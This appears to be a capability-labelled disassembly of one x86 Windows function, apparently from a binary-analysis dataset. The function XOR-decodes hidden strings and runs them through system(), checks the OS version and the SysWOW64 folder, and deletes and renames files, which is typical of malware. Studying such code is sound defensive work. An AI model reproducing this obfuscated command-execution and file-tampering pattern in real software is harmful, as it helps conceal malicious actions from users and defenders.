Function at 0x401ae0
Capabilities:
Check if file exists
Check os version
Delete file
Execute command
Get file attributes
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x9c
xor ebx, ebx
lea eax, [ebp - 0x104]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
mov dword [ebp - 0x104], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, 0x8a
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x4093bc]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x34], dl
jns 0x401b4d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x29
jl 0x401b30
mov esi, dword [sym.imp.MSVCR100.dll_system]
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 0xb], bl
call esi
add esp, 4
mov ecx, 0xa3
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + 0x4093e8]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x48], dl
jns 0x401b8d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x40
jl 0x401b70
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 8], bl
call esi
add esp, 4
mov ecx, 0xe3
xor eax, eax
mov dl, byte [eax + 0x40942c]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x34], dl
jns 0x401bc3
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x29
jl 0x401ba6
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 0xb], bl
call esi
add esp, 4
mov ecx, 0x52
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str._056:_x]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x48], dl
jns 0x401bfd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x40
jl 0x401be0
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 8], bl
call esi
mov eax, dword [ebp - 0x100]
add esp, 4
cmp eax, 6
jne 0x401c3a
mov eax, dword [ebp - 0xfc]
cmp eax, 2
je 0x401c4f
cmp eax, 3
je 0x401c4f
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040748c
mov esp, ebp
pop ebp
ret
cmp eax, 0xa
jne 0x401d1e
cmp dword [ebp - 0xfc], ebx
jne 0x401d1e
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push edi
push str.C:WindowsSYSWOW64
call esi
cmp eax, 0xffffffff
je 0x401c66
test al, 0x10
jne 0x401cb0
mov edi, 0x7dc1135a
lea esi, [ebp - 0x68]
call fcn.00404e90
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea esi, [ebp - 0x68]
mov ebx, str.6L_
call fcn.00404e90
push eax
lea edi, [ebx - 0x1af515a7]
lea esi, [ebp - 0x2c]
call fcn.00404ed0
push eax
call dword [sym.imp.MSVCR100.dll_rename]
add esp, 8
lea edi, [ebx - 0x1af515a7]
lea esi, [ebp - 0x2c]
call fcn.00404ed0
jmp 0x401d08
push str.C:WindowsSYSWOW64
call esi
cmp eax, 0xffffffff
je 0x401d1d
test al, 0x10
je 0x401d1d
mov edi, 0x737bb240
lea esi, [ebp - 0x68]
call fcn.00404f10
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea esi, [ebp - 0x68]
mov ebx, str.Z_GKtpOVQ
call fcn.00404f10
push eax
lea edi, [ebx - 0x79839a1f]
lea esi, [ebp - 0x2c]
call fcn.00404f50
push eax
call dword [sym.imp.MSVCR100.dll_rename]
add esp, 8
lea edi, [ebx - 0x79839a1f]
lea esi, [ebp - 0x2c]
call fcn.00404f50
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x40955c
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040748c
mov esp, ebp
pop ebp
ret